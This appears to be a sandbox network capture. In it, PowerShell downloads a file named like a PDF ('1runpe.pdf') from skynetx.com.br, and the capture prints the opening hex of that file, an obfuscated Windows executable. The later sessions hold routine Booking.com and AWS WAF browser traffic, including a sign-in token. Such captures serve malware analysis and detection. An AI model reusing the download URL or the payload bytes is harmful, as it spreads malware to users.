2024-11-02 13:00:22 UTC	155	OUT	GET /license/2/1runpe.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:23 UTC	214	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:20 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:59 GMT Accept-Ranges: bytes Content-Length: 516096 Connection: close Content-Type: application/pdf
2024-11-02 13:00:23 UTC	7978	IN	Data Raw: 34 44 35 40 39 25 25 25 25 33 25 25 25 25 25 25 25 34 25 25 25 25 25 25 46 46 46 46 25 25 25 25 42 38 25 25 25 25 25 25 25 25 25 25 25 25 25 25 34 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 38 25 25 25 25 25 25 25 25 45 21 46 42 40 25 45 25 25 42 34 25 39 43 44 32 21 42 38 25 21 34 43 43 44 32 21 35 34 36 38 36 39 37 33 32 25 37 25 37 32 36 46 36 37 37 32 36 21 36 44 32 25 36 33 36 21 36 45 36 45 36 46 37 34 32 25 36 32 36 35 32 25 37 32 37 35 36 45 32 25 36 39 36 45 32 25 34 34 34 46 35 33 32 25 36 44 36 46 36 34 36 35 32 45 25 44 25 44 25 40 32 34 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: 4D5@9%%%%3%%%%%%%4%%%%%%FFFF%%%%B8%%%%%%%%%%%%%%4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%8%%%%%%%%E!FB@%E%%B4%9CD2!B8%!4CCD2!546869732%7%726F67726!6D2%636!6E6E6F742%62652%72756E2%696E2%444F532%6D6F64652E%D%D%@24%%%%%%%%%%%%%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 25 36 21 38 32 38 33 34 25 25 25 25 25 36 21 36 37 45 38 45 25 21 25 25 25 34 32 38 35 37 25 35 25 25 25 36 21 33 25 38 32 25 25 38 25 25 25 25 25 25 46 45 25 45 25 39 25 25 33 38 42 40 46 45 46 46 46 46 33 38 25 38 25 21 25 25 25 25 32 25 25 21 25 25 25 25 25 25 37 45 25 46 25 21 25 25 25 34 37 42 36 37 25 21 25 25 25 34 33 40 40 35 46 45 46 46 46 46 32 36 32 25 25 21 25 25 25 25 25 25 33 38 39 40 46 45 46 46 46 46 21 21 25 21 21 40 37 45 38 40 25 21 25 25 25 34 32 38 34 37 25 35 25 25 25 36 36 40 25 32 44 36 21 21 25 38 21 40 44 38 36 40 44 36 37 45 37 39 25 21 25 25 25 34 32 38 25 33 25 35 25 25 25 36 21 40 32 38 33 45 25 25 25 25 25 36 21 36 37 45 38 40 25 21 25 25 25 34 32 38 34 37 25 35 25 25 25 36 36 40 25 32 44 36 21 33 25 25 33 38 43 37 25 21 25 Data Ascii: %6!82834%%%%%6!67E8E%!%%%42857%5%%%6!3%82%%8%%%%%%FE%E%9%%38B@FEFFFF38%8%!%%%%2%%!%%%%%%7E%F%!%%%47B67%!%%%43@@5FEFFFF262%%!%%%%%%389@FEFFFF!!%!!@7E8@%!%%%42847%5%%%66@%2D6!!%8!@D86@D67E79%!%%%428%3%5%%%6!@283E%%%%%6!67E8@%!%%%42847%5%%%66@%2D6!3%%38C7%!%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 25 25 25 25 33 38 43 35 46 32 46 46 46 46 21 46 21 25 38 44 32 33 25 25 25 25 25 21 32 35 44 25 32 39 25 25 25 25 25 34 37 45 37 37 25 21 25 25 25 34 32 38 46 42 25 34 25 25 25 36 32 38 33 38 25 25 25 25 25 36 21 33 25 34 33 38 44 25 46 43 46 46 46 46 25 25 34 21 21 43 25 25 25 25 25 25 25 25 25 25 25 25 37 25 25 25 25 25 25 25 38 44 25 38 25 25 25 25 46 44 25 38 25 25 25 25 46 33 25 25 25 25 25 25 21 42 25 25 25 25 25 21 21 33 33 25 25 35 25 25 40 21 25 25 25 25 25 25 21 34 25 25 25 25 21 21 32 25 25 32 25 25 25 25 25 25 46 45 25 45 25 32 25 25 33 38 25 25 25 25 25 25 25 25 46 45 25 43 25 32 25 25 34 35 25 34 25 25 25 25 25 25 25 35 25 25 25 25 25 25 34 37 25 25 25 25 25 25 35 37 25 25 25 25 25 25 32 33 25 25 25 25 25 25 33 38 25 25 25 25 25 25 25 25 21 Data Ascii: %%%%38C5F2FFFF!F!%8D23%%%%%!25D%29%%%%%47E77%!%%%428FB%4%%%62838%%%%%6!3%438D%FCFFFF%%4!!C%%%%%%%%%%%%7%%%%%%%8D%8%%%%FD%8%%%%F3%%%%%%!B%%%%%!!33%%5%%@!%%%%%%!4%%%%!!2%%2%%%%%%FE%E%2%%38%%%%%%%%FE%C%2%%45%4%%%%%%%5%%%%%%47%%%%%%57%%%%%%23%%%%%%38%%%%%%%%!
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 25 43 21 40 32 38 32 42 25 25 25 25 25 40 21 21 25 37 32 40 25 25 40 32 25 32 25 33 25 32 34 42 25 33 25 34 35 46 25 33 36 36 25 35 35 46 36 25 35 38 25 45 25 37 25 45 25 34 39 35 35 38 37 45 33 35 25 25 25 25 25 34 25 45 25 36 21 37 35 39 39 35 35 38 25 45 25 35 32 38 40 44 25 25 25 25 25 36 35 38 35 34 32 40 25 25 25 25 25 25 40 32 25 32 25 33 25 32 34 42 25 33 25 35 35 46 25 34 25 35 36 36 35 46 36 25 35 38 25 45 25 37 25 45 25 34 39 35 35 38 37 45 33 35 25 25 25 25 25 34 25 45 25 36 21 37 35 39 39 35 35 38 25 45 25 35 32 38 38 21 25 25 25 25 25 36 35 38 35 34 32 40 25 25 25 25 25 25 39 36 25 32 25 33 25 32 34 42 25 33 25 34 36 21 25 35 36 21 35 38 25 45 25 37 25 45 25 34 39 35 35 38 37 45 33 35 25 25 25 25 25 34 25 45 25 36 21 37 35 39 39 35 35 38 25 Data Ascii: %C!@282B%%%%%@!!%72@%%@2%2%3%24B%3%45F%366%55F6%58%E%7%E%495587E35%%%%%4%E%6!7599558%E%528@D%%%%%658542@%%%%%%@2%2%3%24B%3%55F%4%5665F6%58%E%7%E%495587E35%%%%%4%E%6!7599558%E%5288!%%%%%658542@%%%%%%96%2%3%24B%3%46!%56!58%E%7%E%495587E35%%%%%4%E%6!7599558%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 33 32 25 25 25 25 25 32 32 38 32 34 25 25 25 25 25 40 32 38 36 37 25 25 25 25 25 40 37 34 33 32 25 25 25 25 25 32 38 25 35 39 25 25 25 25 25 34 37 45 35 39 25 25 25 25 25 34 25 32 36 46 25 44 25 21 25 25 25 36 32 40 25 25 25 25 25 25 45 32 37 45 35 40 25 25 25 25 25 34 37 45 32 33 25 25 25 25 25 40 32 38 36 39 25 25 25 25 25 40 33 39 21 45 25 25 25 25 25 25 37 32 25 39 25 34 25 25 37 25 32 38 43 35 25 25 25 25 25 36 37 32 21 39 25 34 25 25 37 25 32 38 36 38 25 25 25 25 25 40 32 38 39 35 25 25 25 25 25 36 38 25 35 40 25 25 25 25 25 34 37 45 35 40 25 25 25 25 25 34 32 40 25 25 25 25 25 25 21 42 33 25 25 35 25 25 35 25 25 25 25 25 25 25 21 46 25 25 25 25 21 21 25 32 21 39 21 37 21 37 37 33 36 40 25 25 25 25 25 40 25 42 21 36 25 43 25 37 36 46 36 42 25 25 25 Data Ascii: 32%%%%%22824%%%%%@2867%%%%%@7432%%%%%28%59%%%%%47E59%%%%%4%26F%D%!%%%62@%%%%%%E27E5@%%%%%47E23%%%%%@2869%%%%%@39!E%%%%%%72%9%4%%7%28C5%%%%%672!9%4%%7%2868%%%%%@2895%%%%%68%5@%%%%%47E5@%%%%%42@%%%%%%!B3%%5%%5%%%%%%%!F%%%%!!%2!9!7!7736@%%%%%@%B!6%C%76F6B%%%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 38 45 36 39 33 46 39 38 46 46 46 46 46 46 25 37 25 36 37 42 42 32 25 25 25 25 25 34 36 46 39 34 25 25 25 25 25 40 38 44 35 37 25 25 25 25 25 32 37 44 42 44 25 25 25 25 25 34 21 36 21 33 32 38 33 38 32 35 25 21 25 25 25 25 25 36 37 42 42 32 25 25 25 25 25 34 21 21 32 38 36 46 39 35 25 25 25 25 25 40 21 33 32 39 21 21 32 39 37 42 40 25 25 25 25 25 25 34 21 33 32 40 21 21 32 40 34 35 21 21 25 25 25 25 25 25 25 35 25 25 25 25 25 25 21 34 25 25 25 25 25 25 21 34 25 25 25 25 25 25 21 34 25 25 25 25 25 25 21 34 25 25 25 25 25 25 21 34 25 25 25 25 25 25 21 34 25 25 25 25 25 25 32 46 25 25 25 25 25 25 32 46 25 25 25 25 25 25 34 42 25 25 25 25 25 25 34 42 25 25 25 25 25 25 21 34 25 25 25 25 25 25 36 45 25 25 25 25 25 25 38 36 25 25 25 25 25 25 39 45 25 25 25 25 25 Data Ascii: 8E693F98FFFFFF%7%67BB2%%%%%46F94%%%%%@8D57%%%%%27DBD%%%%%4!6!3283825%!%%%%%67BB2%%%%%4!!286F95%%%%%@!329!!297B@%%%%%%4!32@!!2@45!!%%%%%%%5%%%%%%!4%%%%%%!4%%%%%%!4%%%%%%!4%%%%%%!4%%%%%%!4%%%%%%2F%%%%%%2F%%%%%%4B%%%%%%4B%%%%%%!4%%%%%%6E%%%%%%86%%%%%%9E%%%%%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 46 46 46 46 46 46 21 33 33 25 25 33 25 25 40 34 25 25 25 25 25 25 25 21 25 25 25 25 21 21 32 38 37 45 25 21 25 25 25 36 33 38 25 25 25 25 25 25 25 25 32 38 21 25 25 21 25 25 25 36 33 38 25 25 25 25 25 25 25 25 25 32 32 38 45 42 25 32 25 25 25 36 32 25 25 25 25 25 25 25 25 25 21 36 33 40 21 34 25 25 25 25 25 25 32 36 32 25 25 21 25 25 25 25 25 25 33 38 25 39 25 25 25 25 25 25 33 38 43 42 46 46 46 46 46 46 46 45 25 43 25 25 25 25 34 35 25 34 25 25 25 25 25 25 32 38 25 25 25 25 25 25 34 35 25 25 25 25 25 25 25 35 25 25 25 25 25 25 25 36 25 25 25 25 25 25 33 38 32 33 25 25 25 25 25 25 32 40 25 32 37 43 36 46 25 25 25 25 25 34 25 33 37 44 36 44 25 25 25 25 25 34 32 25 25 25 25 25 25 25 25 25 21 36 33 40 43 45 46 46 46 46 46 46 32 36 32 25 25 25 25 25 25 25 25 Data Ascii: FFFFFF!33%%3%%@4%%%%%%%!%%%%!!287E%!%%%638%%%%%%%%28!%%!%%%638%%%%%%%%%228EB%2%%%62%%%%%%%%%!63@!4%%%%%%262%%!%%%%%%38%9%%%%%%38CBFFFFFFFE%C%%%%45%4%%%%%%28%%%%%%45%%%%%%%5%%%%%%%6%%%%%%3823%%%%%%2@%27C6F%%%%%4%37D6D%%%%%42%%%%%%%%%!63@CEFFFFFF262%%%%%%%%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 21 38 25 32 25 25 25 36 32 40 25 25 25 25 25 33 33 25 25 33 25 25 34 37 25 25 25 25 25 25 25 25 25 25 25 25 25 25 33 38 32 44 25 25 25 25 25 25 25 32 32 38 38 40 25 21 25 25 25 36 37 43 37 40 25 25 25 25 25 34 37 42 37 38 25 25 25 25 25 34 37 33 21 40 25 32 25 25 25 36 32 40 25 32 36 46 42 46 25 32 25 25 25 36 37 43 36 46 25 25 25 25 25 34 37 42 36 44 25 25 25 25 25 34 36 45 37 33 21 40 25 32 25 25 25 36 32 40 37 45 38 38 25 21 25 25 25 34 32 38 33 46 25 35 25 25 25 36 21 45 34 25 44 39 46 46 46 46 46 46 33 38 42 45 46 46 46 46 46 46 25 25 25 33 33 25 25 33 25 25 34 37 25 25 25 25 25 25 25 25 25 25 25 25 25 25 33 38 32 44 25 25 25 25 25 25 25 32 36 46 42 40 25 32 25 25 25 36 37 43 37 40 25 25 25 25 25 34 37 42 37 39 25 25 25 25 25 34 37 33 21 38 25 32 25 Data Ascii: !8%2%%%62@%%%%%33%%3%%47%%%%%%%%%%%%%%382D%%%%%%%2288@%!%%%67C7@%%%%%47B78%%%%%473!@%2%%%62@%26FBF%2%%%67C6F%%%%%47B6D%%%%%46E73!@%2%%%62@7E88%!%%%4283F%5%%%6!E4%D9FFFFFF38BEFFFFFF%%%33%%3%%47%%%%%%%%%%%%%%382D%%%%%%%26FB@%2%%%67C7@%%%%%47B79%%%%%473!8%2%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 25 32 25 25 25 25 25 25 46 45 25 45 25 25 25 25 33 38 25 25 25 25 25 25 25 25 46 45 25 43 25 25 25 25 34 35 25 34 25 25 25 25 25 25 35 39 25 25 25 25 25 25 34 46 25 25 25 25 25 25 25 35 25 25 25 25 25 25 32 40 25 25 25 25 25 25 33 38 35 34 25 25 25 25 25 25 25 33 32 38 38 46 25 21 25 25 25 36 33 40 37 45 25 25 25 25 25 25 32 25 25 21 25 25 25 25 25 25 32 38 37 42 25 21 25 25 25 36 33 40 43 43 46 46 46 46 46 46 32 36 32 25 25 21 25 25 25 25 25 25 33 38 43 21 46 46 46 46 46 46 25 33 32 38 38 43 25 21 25 25 25 36 33 39 34 39 25 25 25 25 25 25 32 25 25 25 25 25 25 25 25 25 32 38 37 43 25 21 25 25 25 36 33 40 40 37 46 46 46 46 46 46 32 36 32 25 25 25 25 25 25 25 25 25 33 38 39 43 46 46 46 46 46 46 33 38 44 36 46 46 46 46 46 46 33 38 33 35 25 25 25 25 25 25 25 Data Ascii: %2%%%%%%FE%E%%%%38%%%%%%%%FE%C%%%%45%4%%%%%%59%%%%%%4F%%%%%%%5%%%%%%2@%%%%%%3854%%%%%%%3288F%!%%%63@7E%%%%%%2%%!%%%%%%287B%!%%%63@CCFFFFFF262%%!%%%%%%38C!FFFFFF%3288C%!%%%63949%%%%%%2%%%%%%%%%287C%!%%%63@@7FFFFFF262%%%%%%%%%389CFFFFFF38D6FFFFFF3835%%%%%%%
2024-11-02 13:00:23 UTC	8000	IN	Data Raw: 25 32 37 42 37 40 25 25 25 25 25 34 37 44 37 40 25 25 25 25 25 34 33 38 25 21 25 25 25 25 25 25 32 40 25 32 25 33 37 34 33 39 25 25 25 25 25 32 37 42 37 42 25 25 25 25 25 34 37 44 37 42 25 25 25 25 25 34 32 25 25 25 25 25 25 25 25 25 32 38 46 38 25 21 25 25 25 36 33 39 42 42 46 46 46 46 46 46 32 36 32 25 25 25 25 25 25 25 25 25 33 38 42 25 46 46 46 46 46 46 25 25 25 25 25 25 33 36 25 32 25 33 32 38 46 39 25 21 25 25 25 36 33 38 25 25 25 25 25 25 25 25 32 40 25 25 25 25 21 33 33 25 25 33 25 25 39 38 25 25 25 25 25 25 25 21 25 25 25 25 21 21 32 38 46 40 25 21 25 25 25 36 33 38 25 25 25 25 25 25 25 25 32 38 46 42 25 21 25 25 25 36 33 38 25 25 25 25 25 25 25 25 25 32 32 38 45 42 25 32 25 25 25 36 32 25 25 25 25 25 25 25 25 25 21 36 33 40 21 34 25 25 25 25 25 Data Ascii: %27B7@%%%%%47D7@%%%%%438%!%%%%%%2@%2%37439%%%%%27B7B%%%%%47D7B%%%%%42%%%%%%%%%28F8%!%%%639BBFFFFFF262%%%%%%%%%38B%FFFFFF%%%%%%36%2%328F9%!%%%638%%%%%%%%2@%%%%!33%%3%%98%%%%%%%!%%%%!!28F@%!%%%638%%%%%%%%28FB%!%%%638%%%%%%%%%228EB%2%%%62%%%%%%%%%!63@!4%%%%%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49811	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1941 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:22 UTC	1941	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
2024-11-02 13:00:23 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:23 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 6fe2d3277e4f5f1aafe45d46bdc36cf0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: 0ZYts7vec-OzyuUvI8tICrYRp6mJHmenL3jvL4WnzwXjrpL5QUdB0w==
2024-11-02 13:00:23 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49810	108.138.26.94	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	589	OUT	GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1 Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:23 UTC	572	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 1099135 Connection: close Date: Sat, 02 Nov 2024 13:00:23 GMT x-amzn-waf-challenge-id: Root=1-67262267-470a9d994f3dc6546c6d31e6 cache-control: private, max-age=86400, stale-while-revalidate=604800 last-modified: Sat, 2 Nov 2024 13:00:23 +0000 pragma: no-cache expires: 0 X-Cache: Miss from cloudfront Via: 1.1 ca339b9e98820e424be1609317fd0314.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: KEYX_cWd4IblBSzV9PTQ36WpZ1EeARMEkA_L8EOpu1FkfF-EOZjPNg==
2024-11-02 13:00:23 UTC	8623	IN	Data Raw: 76 61 72 20 61 30 5f 30 78 34 39 62 37 3d 5b 27 4d 41 58 5f 41 47 45 5f 53 45 43 4f 4e 44 53 27 2c 27 7b 32 38 33 38 30 37 42 35 2d 32 43 36 30 2d 31 31 44 30 2d 41 33 31 44 2d 30 30 41 41 30 30 42 39 32 43 30 33 7d 27 2c 27 73 74 61 72 74 44 65 63 72 79 70 74 69 6e 67 27 2c 27 73 69 67 6e 65 64 44 61 74 61 56 61 6c 69 64 61 74 6f 72 27 2c 27 43 6f 75 6c 64 5c 78 32 30 6e 6f 74 5c 78 32 30 63 6f 6d 70 75 74 65 5c 78 32 30 63 65 72 74 69 66 69 63 61 74 65 5c 78 32 30 64 69 67 65 73 74 2e 5c 78 32 30 55 6e 6b 6e 6f 77 6e 5c 78 32 30 6d 65 73 73 61 67 65 5c 78 32 30 64 69 67 65 73 74 5c 78 32 30 61 6c 67 6f 72 69 74 68 6d 5c 78 32 30 4f 49 44 2e 27 2c 27 4c 65 66 74 6d 6f 73 74 5c 78 32 30 6f 63 74 65 74 73 5c 78 32 30 6e 6f 74 5c 78 32 30 7a 65 72 6f 5c 78 Data Ascii: var a0_0x49b7=['MAX_AGE_SECONDS','{283807B5-2C60-11D0-A31D-00AA00B92C03}','startDecrypting','signedDataValidator','Could\x20not\x20compute\x20certificate\x20digest.\x20Unknown\x20message\x20digest\x20algorithm\x20OID.','Leftmost\x20octets\x20not\x20zero\x
2024-11-02 13:00:23 UTC	16384	IN	Data Raw: 72 74 2e 27 2c 27 4f 42 46 55 53 43 41 54 4f 52 53 27 2c 27 73 68 61 35 31 32 2f 32 35 36 27 2c 27 64 6f 45 6e 63 72 79 70 74 27 2c 27 63 68 61 6c 6c 65 6e 67 65 50 72 6f 66 69 6c 65 72 43 61 6c 6c 43 6f 75 6e 74 27 2c 27 4a 75 69 63 65 5c 78 32 30 49 54 43 27 2c 27 69 73 43 6f 6d 70 6f 6e 65 6e 74 49 6e 73 74 61 6c 6c 65 64 27 2c 27 63 72 65 61 74 65 53 65 72 76 65 72 4b 65 79 45 78 63 68 61 6e 67 65 27 2c 27 61 6e 64 27 2c 27 61 72 63 27 2c 27 73 65 74 41 74 74 72 69 62 75 74 65 27 2c 27 6d 61 74 63 68 27 2c 27 35 32 32 39 4c 72 73 6f 73 73 27 2c 27 65 6e 63 72 79 70 74 52 73 61 50 72 69 76 61 74 65 4b 65 79 27 2c 27 49 6e 76 61 6c 69 64 5c 78 32 30 6b 65 79 5c 78 32 30 67 65 6e 65 72 61 74 69 6f 6e 5c 78 32 30 61 6c 67 6f 72 69 74 68 6d 3a 5c 78 32 30 Data Ascii: rt.','OBFUSCATORS','sha512/256','doEncrypt','challengeProfilerCallCount','Juice\x20ITC','isComponentInstalled','createServerKeyExchange','and','arc','setAttribute','match','5229Lrsoss','encryptRsaPrivateKey','Invalid\x20key\x20generation\x20algorithm:\x20
2024-11-02 13:00:23 UTC	16384	IN	Data Raw: 4b 65 79 54 6f 50 65 6d 27 2c 27 63 6f 6d 70 72 65 73 73 69 6f 6e 5f 6d 65 74 68 6f 64 27 2c 27 50 4f 53 54 27 2c 27 4e 4f 5f 4c 45 56 45 4c 5f 43 48 45 43 4b 27 2c 27 63 72 65 61 74 65 43 65 72 74 69 66 69 63 61 74 65 56 65 72 69 66 79 27 2c 27 4d 53 5c 78 32 30 47 6f 74 68 69 63 27 2c 27 6e 6f 64 65 46 77 63 69 6d 27 2c 27 4b 6f 7a 75 6b 61 5c 78 32 30 4d 69 6e 63 68 6f 5c 78 32 30 50 72 36 4e 5c 78 32 30 42 27 2c 27 66 6c 69 70 42 69 74 27 2c 27 41 6c 65 72 74 27 2c 27 46 6f 72 6d 4d 65 74 68 6f 64 43 6f 6c 6c 65 63 74 6f 72 27 2c 27 6d 61 6a 6f 72 27 2c 27 63 6f 72 65 73 27 2c 27 6d 6f 75 73 65 43 79 63 6c 65 73 27 2c 27 63 6f 6e 73 6f 6c 65 4c 6f 67 67 65 72 27 2c 27 73 69 67 6e 65 64 41 6e 64 45 6e 76 65 6c 6f 70 65 64 44 61 74 61 27 2c 27 5f 5f 77 Data Ascii: KeyToPem','compression_method','POST','NO_LEVEL_CHECK','createCertificateVerify','MS\x20Gothic','nodeFwcim','Kozuka\x20Mincho\x20Pr6N\x20B','flipBit','Alert','FormMethodCollector','major','cores','mouseCycles','consoleLogger','signedAndEnvelopedData','__w
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 5c 78 32 32 6f 70 74 69 6f 6e 73 2e 65 6e 63 6f 64 69 6e 67 5c 78 32 32 5c 78 32 30 6d 75 73 74 5c 78 32 30 62 65 5c 78 32 30 5c 78 32 32 62 69 6e 61 72 79 5c 78 32 32 5c 78 32 30 6f 72 5c 78 32 30 5c 78 32 32 75 74 66 38 5c 78 32 32 2e 27 2c 27 63 65 72 74 69 66 69 63 61 74 65 73 27 2c 27 43 6f 75 6e 74 72 79 42 6c 75 65 70 72 69 6e 74 27 2c 27 73 65 65 64 46 69 6c 65 27 2c 27 68 61 6e 64 6c 65 43 6c 69 65 6e 74 4b 65 79 45 78 63 68 61 6e 67 65 27 2c 27 4d 69 63 72 6f 73 6f 66 74 5c 78 32 30 55 69 67 68 75 72 27 2c 27 65 6e 76 65 6c 6f 70 65 64 44 61 74 61 56 61 6c 69 64 61 74 6f 72 27 2c 27 64 65 63 6f 72 61 74 65 27 2c 27 67 65 74 45 78 74 65 6e 73 69 6f 6e 27 2c 27 64 72 53 68 69 66 74 54 6f 27 2c 27 63 61 70 74 63 68 61 4c 69 73 74 27 2c 27 42 69 63 Data Ascii: \x22options.encoding\x22\x20must\x20be\x20\x22binary\x22\x20or\x20\x22utf8\x22.','certificates','CountryBlueprint','seedFile','handleClientKeyExchange','Microsoft\x20Uighur','envelopedDataValidator','decorate','getExtension','drShiftTo','captchaList','Bic
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 6d 62 65 72 27 2c 27 73 75 62 6d 69 74 27 2c 27 46 72 65 65 73 74 79 6c 65 5c 78 32 30 53 63 72 69 70 74 27 2c 27 43 61 6e 6e 6f 74 5c 78 32 30 77 72 69 74 65 5c 78 32 30 70 72 69 76 61 74 65 5c 78 32 30 6d 65 6d 62 65 72 5c 78 32 30 74 6f 5c 78 32 30 61 6e 5c 78 32 30 6f 62 6a 65 63 74 5c 78 32 30 77 68 6f 73 65 5c 78 32 30 63 6c 61 73 73 5c 78 32 30 64 69 64 5c 78 32 30 6e 6f 74 5c 78 32 30 64 65 63 6c 61 72 65 5c 78 32 30 69 74 27 2c 27 25 63 5c 78 32 30 66 6f 75 6e 64 5c 78 32 30 73 6f 6c 75 74 69 6f 6e 21 3a 5c 78 32 30 27 2c 27 32 2e 35 2e 32 39 2e 31 33 27 2c 27 4b 65 79 5c 78 32 30 6c 65 6e 67 74 68 5c 78 32 30 69 73 5c 78 32 30 69 6e 76 61 6c 69 64 2e 27 2c 27 5d 5c 78 32 30 45 78 70 65 63 74 65 64 5c 78 32 30 63 6f 6e 73 74 72 75 63 74 65 64 5c Data Ascii: mber','submit','Freestyle\x20Script','Cannot\x20write\x20private\x20member\x20to\x20an\x20object\x20whose\x20class\x20did\x20not\x20declare\x20it','%c\x20found\x20solution!:\x20','2.5.29.13','Key\x20length\x20is\x20invalid.',']\x20Expected\x20constructed\
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 6c 6c 27 5d 28 5f 30 78 32 33 62 65 39 66 2c 30 78 30 2c 5f 30 78 63 32 39 64 63 66 29 29 2c 5f 30 78 31 61 35 34 30 62 5b 5f 30 78 63 32 39 64 63 66 5d 3d 5f 30 78 32 33 62 65 39 66 5b 5f 30 78 63 32 39 64 63 66 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 35 32 33 38 38 66 5b 5f 30 78 33 66 62 39 30 31 28 30 78 32 36 37 29 5d 28 5f 30 78 31 61 35 34 30 62 7c 7c 41 72 72 61 79 5b 5f 30 78 33 66 62 39 30 31 28 30 78 36 34 62 29 5d 5b 5f 30 78 33 66 62 39 30 31 28 30 78 35 34 38 29 5d 5b 5f 30 78 33 66 62 39 30 31 28 30 78 32 34 38 29 5d 28 5f 30 78 32 33 62 65 39 66 29 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 39 33 61 38 38 28 5f 30 78 31 32 30 37 35 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 30 78 32 39 33 61 38 Data Ascii: 